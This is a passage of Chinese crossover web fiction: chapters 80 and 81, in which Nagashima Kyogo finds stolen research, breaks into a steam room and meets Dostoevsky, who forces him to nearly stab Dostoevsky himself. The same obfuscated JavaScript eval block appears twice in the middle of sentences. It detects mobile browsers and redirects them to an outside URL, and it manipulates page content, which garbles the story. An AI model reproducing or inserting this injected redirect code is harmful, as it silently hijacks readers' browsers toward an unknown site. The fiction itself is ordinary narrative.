指尖在键盘上飞快敲击着，但余光还是忍不住扫到了文件夹里一份命名得格外显眼的文档：“readme.txt”。 天地良心，这世界上哪个正常的科研人能顶得住这种诱惑啊？！ 他犹豫了不到半秒，认命地伸手点开了那个文件。 本来是打算严肃地、以同行评议的标准去阅读的，顺便琢磨琢磨这个项目有没有什么可以借鉴的地方，到时候举一反三，混个项目进度，顺便在朗姆那里多苟上个十天半个月…… 然而就在他读了两行之后，他愣住了。 ——因为那个资料和他回日本前、他的博导G教授留给他的一模一样，一个字都没有变。 80.自由创业，从偷电脑开始 长岛京悟深吸一口气，感觉自己的血液都要倒流了。 这个公司为什么会有老登的研究资料？ 老登死得很匆忙。按理说，有机会拿到那份资料的人，应该只有接到了老登暗示的他自己。当然，也不是完全没有其他可能——比如老登的电脑里还留有一份副本。但那台电脑应该早就被马蒂尼击碎了才对。 赤井秀一在马蒂尼行动结束后，很快就进入了现场勘查。他确认，在现场找到了一台主板被子弹打穿的笔记本电脑，型号和老登用的那台完全对得上。 ……可是，等等。 “型号对得上”，似乎并不意味着就是同一台。 当时的所有人——赤井秀一、马蒂尼，包括他自己——都在为他即将潜入白鸠制药卧底而忙得焦头烂额。这个最基础的细节，反而被疏忽了。 而在那次事件中，负责伪装成老登的，可是果戈里。以他的能力，偷偷趁乱把电脑换掉，根本都是轻而易举的事。再联想到松田阵平描述的、那个能把人从街头打包卷到这里的诡异异能…… 长岛京悟哪怕再不擅长推理，好歹他的脑子还是够用的。 这一切已经很清楚了：这份资料的源头大概率就是果戈里。当初他扮作老登假死后人间蒸发，原来不是单纯跑路，而是顺手偷了机密文件，跑来日本创业了啊！ 创业可是自由的反义词。 长岛京悟脑子里突然浮现出一个画面：深夜，在一个还亮着灯的办公室里，老板果戈里穿着他标志性的白色西装，手边是已经冷掉的咖啡，开朗地咬着笔杆子算员工的加班费，笑眯眯地翻着一沓又一沓的文件。他背后的墙上挂着一块写着“自律、诚信、开拓、创新”的企业文化标语板。 长岛京悟忍不住打了个寒颤。 ——还是赶紧帮他把这里炸了吧。这么自由的人，这种苦还是不要受了。 长岛京悟拔下刚刚复制完文件的U盘，小心翼翼地收进包里。 他背上包，走到门口，朝两个孩子招了招手。一行人悄无声息地离开资料室。 。 长岛京悟带着两个高中生顺着记忆里的路径向通向蒸汽室的路线前进。 而就在这时，他发现这个建筑似乎和他记忆里的并不一样—— 他一路走来，几乎是踩着恐怖游戏的既视感前进的：那些病态的冷白光线、无声吞没脚步声的地面、死气沉沉到近乎排斥生命的空气，每一道笔直延伸的走廊、每一个仿佛在呼吸的门缝，还有那种渗在空气里的压迫感，每一秒都在提醒他这里的阴森，每一秒都在他脆弱的心理承受能力上加压。 可是现在，随着他们一路往蒸汽室走去，周围的气氛却开始变得正常起来了。 灯光依然是冷白的，地板依然无声，金属墙壁依然规整到仿佛激光雕刻过，但不知为何，那种令人战栗的空无感却消失了。 他发现走廊角落其实堆着一两个被遗落的快递纸箱；微弱的电流声，则来自安全出口那盏有些老旧的标识灯；某扇门后隐隐传来的轰鸣，不再是之前那种像钢铁胃袋低语的声音，而是切切实实的机械运转噪音。 哪怕是再小的细节，也昭示着这是一栋真的，有人在工作的建筑，完全就是两个高中生描述的一个普通的、生物公司的样子，就好像他之前所经历的一切诡异与压抑都是某种幻觉。 蒸汽室一般都设置在地下。 长岛京悟带着两人顺着台阶一路下行。拐了个弯后，他们果然看见了一个挂着“蒸汽室”门牌的金属门。 不过，门上挂着一把沉甸甸的大锁。 长岛京悟愣了一下，没想到这个任务在这里给他上了点强度。一般来讲，这种偏后勤的区域应该是常年敞开的。谁能想到苍白之火门前只留了零星几个警卫，资料室除了有一个高攻低防的家伙之外也没任何其他保护机密文件的措施，结果唯一上锁的门居然是蒸汽室…… 而且还是那种一眼就不是给人方便的型号，粗得像是专门用来锁监狱门的，子弹都不一定能射开。 ……这家公司，倒是很懂得在最没必要的地方讲究安保。 他的背包里面塞着马蒂尼给他装好的开锁神器，一共有好几种型号。 长岛京悟蹲下，打开包，打算一个一个试过去，但心里还是有些犯嘀咕：要是开不了锁，可就麻烦了。 松田阵平看见他莫名其妙对这个锁产生了兴趣，有点迷茫地问：“我们来蒸汽室做什么啊？” 长岛京悟一边试着用最小号的开锁神器撬锁，一边不过脑子地回答：“哦，因为我得把这个公司——” 话说到一半，他突然意识到身边站着两个未成年，赶紧硬生生刹住了车。 与此同时，第一个开锁神器也宣告失败。 长岛京悟叹了口气，默默拿出第二个开锁工具，同时大脑飞速运转，努力想编一个听上去合理又不会犯未成年保护法的理由。 两个少年对视了一眼。松田阵平拍拍他的肩膀：“你这个玩意搞不了这种锁的，你让开，我来试试吧。” 长岛京悟：“……诶？你会开锁——” 他话还没问完，松田阵平已经蹲到他身边，从口袋里掏出了一根不知道哪儿变出来的小铁丝。 几秒钟后，伴随着一声轻响，那把看起来能关住炼狱门的巨型锁啪嗒一声，从门把手上滑落了下来。 长岛京悟：“……” ……好厉害啊。好像他这个任务就这样被各种各样的大佬carry过去了。 事不宜迟，长岛京悟重新把背包背起来，示意两个孩子跟在他身后，然后推开了蒸汽室的门。 这个蒸汽室和任何一个有供暖的地方的蒸汽室一样，室内弥漫着一股潮湿又发闷的金属气味，密密麻麻的管道沿着天花板和墙壁蜿蜒延伸，偶尔有细微的水珠声在寂静中滴落。 地面是粗糙的防滑砖，踩上去带着微微的湿气，空气中浮动着一层若有若无的蒸汽雾气，让整个空间像是被一层半透明的薄膜笼罩着。 长岛京悟依然让两个孩子留在门口，叮嘱他们：一旦有任何异动， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15442091|158780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 立刻丢下他，自己先跑。他自己则快步走进蒸汽室深处，绕过一排排粗大的金属管道，在最大的一个蒸汽缸前停下。 他正打算从背包里取出炸药，耳边却突然响起一个陌生的声音—— “初次见面，长岛君。” 长岛京悟浑身一僵。 他猛地回头，发现自己身后站着一个戴着毛皮帽的男人。 。 这个男人站在那里，仿佛从某个被人遗忘的梦境里走出来的影子。 他的身形纤细得近乎病态，皮肤苍白得像是常年未曾见过阳光，毛皮帽下一头黑色的中长发松松垮垮地垂到肩膀。他的五官轮廓分明，却带着一种近乎透明的脆弱感，眼眶深陷，睫毛很长，眉骨下是一双清冷的、像是葡萄酒一样的深红色眼睛。 长岛京悟心里一紧，想到门口还有两个高中生。他本能地想要张嘴提醒他们快跑，却很快发现—— 自己怎么用力，都发不出声音。 他的喉咙像是被什么无形的东西攥住了一样，连一丝气流都无法挤出！ 他下意识地往后退，却撞上了身后的蒸汽缸，金属外壳传来一阵震颤的闷响。 而那个男人只是站在那里，居高临下地看着他，眼中露出一点微妙的笑意，像是在观赏一场小动物的垂死挣扎，既有耐心，又带着审视的怜悯。 他轻轻笑了两声，随后微微偏过头，对着空无一人的空气说道：“好了，您可以让他说话了，弗拉基米尔。” 几乎是话音落下的瞬间， 长岛京悟感觉空气像是被抽走的水汽重新灌回了肺里，声音也一并回到了他的身边。 他终于明白了，自己此前感受到的那种诡异“幻觉”，到底是从何而来的—— 对方口中的“弗拉基米尔”，应当就是一个能够操控整座建筑的异能者。 也就是说，只要他们还在这栋楼里，眼前这个男人，想要弄死他们，简直易如反掌。 长岛京悟心里飞快掠过无数念头。他原本的第一反应是想让松田阵平和萩原研二立刻撤退，可是下一秒他便冷静下来。 这根本没意义。 如果对方连他的声音都能一瞬间剥夺，想必也能轻易察觉任何逃跑的异动。 他们的存在早就暴露在那双深红色的眼睛里。在这栋被异能支配的建筑里，没有任何人能真正逃出去。 与其徒劳地刺激局势，让两个孩子也被卷进毫无胜算的挣扎，不如顺着对方给的台阶下，或许对方并没有想要杀死他们的意思：如果有的话，当初在资料室明明可以直接把他们掐死。 压下心底疯狂跳动的警铃，长岛京悟低声问：“你是谁？你为什么在这里？” 对方仿佛早就在等这句话一般，声音悠长而轻柔，像在咏唱一段早已排练好的台词： “哦，是的，没有自我介绍，真是失礼。” 男人微微低头，行了一个几乎过分优雅的礼。 “初次见面，长岛君。我的名字是费奥多尔·陀思妥耶夫斯基。” 81.我是长岛京悟，我不同意走剧本 陀思妥耶夫斯基这名字一听就是俄罗斯人，那种典型的、姓和名都像是能在极地风雪里单挑熊、再坐下来写哲学论文的那种俄罗斯人。 而已知这家公司的核心技术提供者果戈里也是俄罗斯人——所以，这家公司八成就是一群俄罗斯老乡抱团开的。 长岛京悟有点紧张地咽了咽口水。 他不知道面前这个人的目的是什么。虽然说他认识果戈里，但是他好像和果戈里关系也没有好到人家同事抓到他来炸公司还会一笑而过的地步…… 他迅速权衡了眼下的状况，决定暂且不提和果戈里的私交。 毕竟万一这俩俄罗斯人最近正陷入内斗，为了股份撕得你死我活，那他现在一开口“啊我认识你们同事尼古莱”，就等于是给自己点了菜刀外卖。 于是他僵硬地伸出手：“那个，您好，陀思妥耶夫斯基……君。这样称呼您可以吗？” “我不太在乎称谓。” 陀思妥耶夫斯基彬彬有礼地说，“您可以叫我陀思，也可以叫我费奥多尔。陀思妥耶夫斯基这个姓氏太长，也太沉重了。” 长岛京悟：“……” 他其实很想吐槽姓氏长不长不是重点，重点是这话一听就像是那种有童年阴影的大反派会说的台词！尤其是陀思说这话时还微微眯了眯眼，整个人都带着一种“我曾杀过三个像你这样的科学家并生吃了他们的大脑”的危险感。 这个时候该做什么？死脑子，快转啊！ 他继续僵硬地接话：“好的，费奥多尔君……请问，有什么我能帮您的吗？” 对方像是被他的表现逗笑了，唇角轻轻扬起，笑声低低的，只笑了两下，声音像羽毛落在刀刃上，轻得叫人发毛。 “您不用紧张，长岛君。”陀思用那种飘忽到有点诡异的柔和语调继续说道，“这个地方对我来说，并没有多么重要。” 他说着，目光扫了一圈蒸汽室和长岛京悟的背包，“您要是需要的话，我可以随时让这里——”他顿了顿，仿佛在认真斟酌用词，“消失。” ……他好随和啊。 难道这个公司也和白鸠制药一样，早被渗透得像个筛子一样了？ 这个费奥多尔君不会也是个卧底吧？但卧底有必要敬业成这样吗？ 长岛京悟感觉自己的脑子有点不够用：“……啊？” “当然，”陀思更随和地笑了笑，“我需要您帮我一个小忙。” 长岛京悟：“……什么忙？” “其实也不是什么难事。”陀思妥耶夫斯基说得非常轻松，仿佛只是在讨论天气，“我只是需要您亲手杀了我。” 。 长岛京悟：“……………………啊？？？？” 他脑子里突然间出现了果戈里开朗的脸。 俄罗斯人确实十分美丽，但为什么一个比一个精神状态不稳定……这不会是种族天赋吧？ 对面的陀思没有说话，双手环抱着胸，用深红色的眼睛紧紧地盯着长岛京悟的动态，看上去对他的反应十分感兴趣。 长岛京悟努力理清自己的思路：“不是，那个，呃，费奥多尔君，你不想活了？” 这句话好像有娱乐到对方，长岛京悟发现陀思好像心情更好了，甚至脸上出现了愉快的笑。 “对，长岛君，”陀思依然很随和地说， “您的总结很优秀。” 他这句话说得非常真诚，像是在教导一个终于开悟了的学生。然后几乎是魔术般地，他手上不知道什么时候多出了一把刀。 那是一把短刃，银光冷冽，线条干净，毫无多余装饰，就像是为“捅人”这件事量身定做的一样。 “您要是有兴趣的话，”陀思的语调依然平和，“可以现在捅死我。” 长岛京悟：“………………” 陀思这句话说得真的很像在开玩笑，但是他这副姿态又让人觉得他好像完全不在开玩笑。 问题是长岛京悟真的不知道他想要表达什么啊！ 长岛京悟有些汗流浃背了：“…………那个，我是遵纪守法的人，你要是真的想死的话要不要我帮你联系一下别人，比方说我义——” 他话还没说完，就发现自己突然发不出声音了。 陀思只是轻轻挥了挥手，像是在擦掉空气中的一粒尘埃，下一秒，长岛京悟就像被按下了静音键，喉咙仍在努力运作，气流依旧穿过声带，可嘴唇一张一合，连半点声响都吐不出来。 世界一下子陷入诡异的寂静。他甚至能清楚地听到自己心跳加速的声音，以及后背缓慢沁出的冷汗落进衣领时的细微水声。 长岛京悟：“……” 他瞪大眼，满脸写着“什么东西啊兄弟你这也太不讲武德了”，但再怎么瞪也没法把这句怨言变成声音传出去。 陀思妥耶夫斯基站在他面前，像是刚刚施展了一个寻常不过的小魔术，神情中带着某种长岛京悟完全看不明白的期待。他像是在观察实验对象在特定刺激下的反应：惊慌？愤怒？求助？还是逆来顺受？ 他既不急，也不吓唬人，甚至笑得还挺有礼貌，像是在说：“没关系，你慢慢想，我只是临时把你的发声权限关掉了而已。” 然后他又轻轻一挥手，像是在示意舞台布景可以进入下一幕了。 下一秒，长岛京悟猛地感觉手里一沉——那把刀，不知何时竟已转移到了自己手中。 握柄冰冷，刀刃锋利，沉甸甸的触感真实得过分。他几乎是下意识地低头一看，那短刃正安安静静地躺在他掌心，反射出一抹清冷的光，就像是某种死神递来的签收笔。 “……” 长岛京悟手指僵硬，连抖都不敢抖，生怕一个不小心让这把刀在空气里画出什么不祥的弧度。 这操作简直离谱。他完全没看清对方什么时候动的手，也完全没意识到自己什么时候接过的刀。 他试图把刀放下，可指节像是被灌了铅，根本动不了。不是单纯的肌肉僵直，而是一种更深层的压迫感：就像从握住刀的那一刻起，他整个人便被塞进了一出无形剧本的角色里。 挣扎完全没用。台词早就写好，动作早已安排，连结局都被人算得清清楚楚。他只是一个被剧本封死的演员，无从逃脱。 长岛京悟缓慢地抬起头，眼神里是彻底掩饰不住的惊恐与困惑。 而陀思妥耶夫斯基此刻看起来满意极了。 就像刚刚验证了一个完美的猜想，他微微一笑：“看，您已经拿到了工具。接下来，只需要一个动作，就能让我们彼此解脱。” 他语调依旧温和，像是在鼓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15460803|158780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 励一个孩子学会剪刀石头布：“别怕，您已经走得比大多数人都远了。” 长岛京悟：“……” 我尼玛连方向都不知道，就已经快走到终点了？？ 他的脑子疯狂旋转着：这到底是什么？测试？威胁？异能力陷阱？某种宗教式仪式？自杀诱导？ ——他要是顺着剧本演了，是不是就再也没有机会抽身？ 他想丢下刀、后退、开门、逃出这栋建筑——哪怕是被朗姆就地格杀，也比现在这种局面更有选择权。 可他做不到。 他不仅说不出一句“不要”，甚至连身体都动不了半分。 他只能站在那里，汗如雨下，手中紧紧握着一把从来就不该属于他的刀，站在一个根本无法选择的岔路口，眼睁睁地看着自己的手不受控制地抬起，双腿机械地迈开，一步步朝着站在对面、神情平静、眼神中却带着某种势在必得狂喜的陀思妥耶夫斯基靠近—— 不可以！ 不能这么做！ 救救我……谁来救救我？！ 。 ——长岛京悟向来是不受神明眷顾的。 他经历过无数次实验失败，那些跑歪的电泳、崩盘的细胞、死活对不上的数据图，像是上天专门挑着给他下绊子，砸得他一点一点焦虑、抑郁，然后彻底对学术失去热情。 他也曾在凌晨四点的实验室灯光下，被老登钉在椅子上赶不属于自己的项目，每一张硬撑着做出来的PPT都像是给别人写的功德簿，而自己只能在附页角落打上姓名。 他试图争取一点喘息空间，申请项目分配时小心翼翼，调整计划时委婉陈述，可回过头来才发现，身边全是要结果不要过程的上司，要配合不要人格的项目组，连喘口气都像是在抢别人的资源。 而此时也不例外。 他依旧无法选择，也无法逃跑，只能眼睁睁看着自己的身体像被谁操控了一样，一步一步走向那个结局。 在刀即将刺入陀思妥耶夫斯基胸口的那一霎那，长岛京悟绝望地闭上了眼睛。 。 刀锋停在陀思的西装前襟，只差半寸，只要再往前一推，就能刺穿布料，划破皮肉，直抵心脏。 而就在那一瞬，长岛京悟猛地睁开了眼。 他意识回笼，像是从一场不属于自己的梦魇中挣脱出来；更重要的是那只本该已经脱离他掌控、机械般抬起的右手，此刻就那样稳稳地悬停在半空中，刀还握在掌心，锋芒未落，却不再前进。 之前那种被迫执行的窒息感仍残存在四肢末梢，像是刚刚逃脱枷锁的余痛。 长岛京悟喘着粗气，几乎是下意识地猛地一甩，将手里的刀狠狠扔在地上，发出一声清脆的金属撞击声。 他步履踉跄地往后退了几步，心跳像是还没来得及跟上身体的挣扎，撞得胸腔生疼。 而陀思妥耶夫斯基依旧站在原地，神情平静如初，嘴角却浮起一抹不合时宜的微笑。 他垂眸看了眼那把落在脚边的刀，又抬起头，望向长岛京悟，眼神像是在看一件终于完成的实验标本，混合着陶醉与确认。 然后他缓缓地、像是在低语给某个只属于自己的答案一样，喃喃说道： “原来是绝望啊……这真是太美妙了。”